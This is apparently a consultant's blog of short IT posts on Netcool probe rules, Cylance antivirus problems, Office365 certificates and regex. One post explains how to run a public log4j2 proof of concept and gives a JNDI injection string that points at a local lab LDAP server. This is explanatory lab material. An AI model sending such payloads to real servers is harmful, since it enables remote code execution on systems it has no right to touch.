How to download a specific version of the OpenShift installer and client

Go here: https://mirror.openshift.com/pub/openshift-v4/clients/ocp . Select the version you want and you're good to go!

An Example of a Useful Notification Email

You should have monitors in place to detect problems in your enterprise. These can be individual monitors defined for an agent, or queries/thresholds defined for data collected by an observability platform. Either way, at some point, you need to notify someone about what went wrong.

The following is an email notification we set up for a customer:

The important things to note are:

1. What failed? The "Tivoli CTH Health Check" failed in PROD.
2. What needs to be done? Run all of the checks that are listed at the end of the email.

While this amount of actionable information is just normal to some number of people, many organizations simply don't have this kind of information-rich notification configured. The part I like the best is the "run book", basically the "What needs to be done" part. This could have a lot more detail, but it is sufficient for the known target audience of this email. The additional details (like in a run book) would be the exact steps needed to perform the checks, along with maybe a video showing what it should normally look like.

The Cylance Smart Antivirus agent will ruin your day

I am currently helping a customer move their ITM 6 infrastructure from AIX to Red Hat 8, and the largest hurdle has been the Cylance agent. When doing any kind of enterprise install, my first step is to copy the install files to all of the servers (in this case it is 16 servers: 2 HUB TEMS, 12 RTEMS, 2 TEPS). In its default configuration, the Cylance agent will remove files that it determines are suspicious. In my case, that means that it deleted one or two tar files, and would re-delete them whenever I copied them over again. The cylance log under /opt/cylance/desktop/log showed exactly what it was doing, so we were able to work with the Cylance team to correct this.

After the delete issue was resolved, we found that the Cylance agent was stopping some executables from running, with just a "Segmentation fault" error, and the error still existed after stopping the Cylance agent. This is because even though the agent wasn't running, it has hooks into kernel system calls that leverage a local cache. That took a while to resolve, but we finally got all of the appropriate directories whitelisted.

The last problem encountered was with the Cylance agent's Memory Protection feature. In this case, it caused 'tacmd tepslogin' to fail with a bunch of text to the command line and no information in the normal ITM logs. Looking in the Cylance log file again, I could see that it was blocking some memory action performed by the ITM java executable. That now seems to be resolved.

Hopefully this short post can help others identify these types of issues before throwing their server out the window.

Configuring certificates for the Netcool email probe when using Office365

 Background

If your company uses Office365 for email, and you need to use the Netcool Email Probe, you will have to configure a KeyStore database to store the valid/trusted certificates presented by Office365. What I found at one customer was that after we imported one certificate into the KeyStore, we still frequently received Certificate chaining errors, which eventually would cause the probe to stop working. The problems I saw were caused by what looks like a configuration difference on the load-balanced Office365 servers, where multiple different certificates (and certificate chains) were being presented to the Email Probe.

Solution

After several attempts at resolving the problem, I took the nuclear approach to download every possible certificate from Office365 and import them all into the KeyStore database. I'm certain it's overkill, but I scripted the solution below, and it doesn't affect the performance of the probe. Here's the script, with comments:

cd /tmp

for i in file{1..100}

do

openssl s_client -showcerts -verify 5 -connect outlook.office365.com:995 < /dev/null > $i

# each file contains at least two certificates. Each certificate needs to be in its own file

# to import it into the keystore. That's what the following command does. It will create

# files named file*-00, file*-01, file*-02 if there are two certificates returned by the above

# command.

csplit -f $i- $i '/-----BEGIN CERTIFICATE-----/' '{*}'

# file*-00 doeesn't contain anything useful (certs are in *-01 and *-02), so we will delete it

rm file*-00

done

# now import all of the above certs into the keystore.

for i in file*-*

do

keytool -keystore "/opt/IBM/tivoli/netcool/core/certs/key_netcool.jks" -import \

-trustcacerts -alias $i -file $i -noprompt -storepass THE_KEYSTORE_PASS

done

10 Things to Avoid Doing in MS Excel and Their Alternatives

 Microsoft Excel is an amazingly powerful tool that has more capabilities than most people can imagine. Today I ran across this video that covers 10 different things to avoid doing in Excel to help make working with your data easier.

The best video I've ever seen for learning Regular Expressions

I've worked with regular expressions for a long time now, and I'm always working on getting better at them. I ran across this 20-minute YouTube video and was really blown away by how quickly it explains everything you need to know about regular expressions. I highly recommend it.

Many of his other videos are also worth your time.

One huge caveat aimed at those in the world of Enterprise Software:

Not all products support all features of the regular expressions described in the video, and there are often nuances to the exact functions that are supported. For example, the following features described in the video aren't supported by various versions of *some* components of Netcool and ServiceNow, depending on which regex engine they use:

- look-ahead and look-behind operations
- named groups

Because of cases like this, I always recommend that you try to accomplish your goal using the simplest regular expression features as possible, and always test your regular expressions. Regexr.com is the site used in the video, and it is very powerful, but it appears to support the latest and greatest JavaScript regular expressions, with no way to change that. Regex101.com is the site I normally use, and it allows you to select one of several "flavors" of regular expressions.

The Zero-click exploit that Google researchers say is 'the most technically sophisticated exploit ever seen'

 In contrast to the trivially-exploitable Log4j2 exploit, here's a zero-click exploit from NSO group. Here's an article describing it in understandable terms first:

https://www.engadget.com/google-researchers-nso-zero-click-iphone-imessage-exploit-143213776.html

And here are the technical details:

https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html

Interesting article on the new frontier of botnets identifying C2 servers using "memo" data in blockchain transactions between known wallets

 The title tells you the gist of the story, but here's the full article:

https://gizmodo.com/how-cybercriminals-are-using-bitcoins-blockchain-to-mak-1848189767

Basically, the botnet code is written such that if its current C2 (Command and Control) server is down, it will search the public blockchain for transactions between known wallets. Every transaction can have an optional "memo" field, which is where the botnet controllers put the address of other C2 servers.

Example and video of log4j2 exploit

 This is a great example of the exploit in action:

https://github.com/ilsubyeega/log4j2-exploits

Here's the video showing it in action:

https://user-images.githubusercontent.com/37479424/145661983-131eb84a-9ac5-4014-9f6b-10b69d8d7cf4.mp4

You can run it yourself. On Linux, you'll first have to install the following prereqs:

node
npm
gradle
default-jdk

And you'll also need to modify Main.java before compiling to change the line:

Runtime.getRuntime().exec("cmd.exe /c start echo Exploit");

to

Runtime.getRuntime().exec("gnome-terminal");

The pieces that are provided for the exploit are:

- An HTTP server that would be owned by the attacker in the wild. This hosts the Main.class file that is going to display a new window on the server when the exploit fires.
- An LDAP server that would be owned by the attacker in the wild. This is the server queried by the vulnerable JndiLookup.class file, which includes a link to the HTTP server.
- A JVM that represents an application server like WebSphere or Tomcat

Once you feed the JVM the userr-controlled string "${jndi:ldap://127.0.0.1:3001/}", you'll see that the JVM spits out errors, but still successfully opens a new window. In the wild, this window represents ANY COMMAND THE ATTACKER WANTS TO RUN ON THE SERVER, and it's running as the same userid that's running the JVM. 

Basically, if you didn't already know, this is the worst, and most easily exploited vulnerability that's been found in the wild in a long time.

Quickest log4j2 vulnerability remediation I've found on Linux

 Quickest Linux fix I've found for the #log4j2 vulnerability:

find / -name "log4j-core-*.jar" -exec zip -q -d {} org/apache/logging/log4j/core/lookup/JndiLookup.class \;
reboot

The above command will find all files named "log4j-core-*.jar" on the system and will remove the "JndiLookup.class" file from them. The 'reboot' is a fairly large hammer, but it will restart all processes on the box. Alternatively, you can stop and restart all java processes running on the server.

Converting timestamp in milliseconds to seconds in Netcool probe rules

 Background

The Netcool OMNIbus ObjectServer expects timestamp values to be the number of seconds since epoch (00:00:00 UTC on 1 January 1970). This is a 10-digit number. However, some systems generate a timestamp that is the number of milliseconds since epoch (a 13-digit number). This causes the timestamp to be interpreted wildly incorrectly in the ObjectServer. One such event source is Nokia NSP, which integrates with Netcool via the Probe for Message Bus.

Conversion Process

My process of converting the 13-digit timestamp to the correct 10-digit one is straightforward:

# convert timestamp to string by concatenating it with a string

$millString = $timestampInMilliseconds + ""

# take the first 10 characters

$secondsString = substr($millString,1,10)

# convert back to an integer

$validTimestamp = int($secondsString)

# store in FirstOccurrence of Event

@FirstOccurrence = $validTimestamp

That's it.

Using VSCode to write Netcool Probe Rules and Impact Policies

 VSCode is Microsoft's free, cross-platform IDE for software development. It is booming in popularity recently because it is an amazing tool with lots of plugins. These plugins provide all kinds of different functionality. The ones I want to introduce to you today are syntax highligting plugins that provide syntax highlighting and syntax validation for Impact Policy Language (IPL) and Netcool Probe Rules Language. 

Here's an example from the Probe Rules extension:

Compared to the vi editor or Notepad++, this is a HUGE improvement.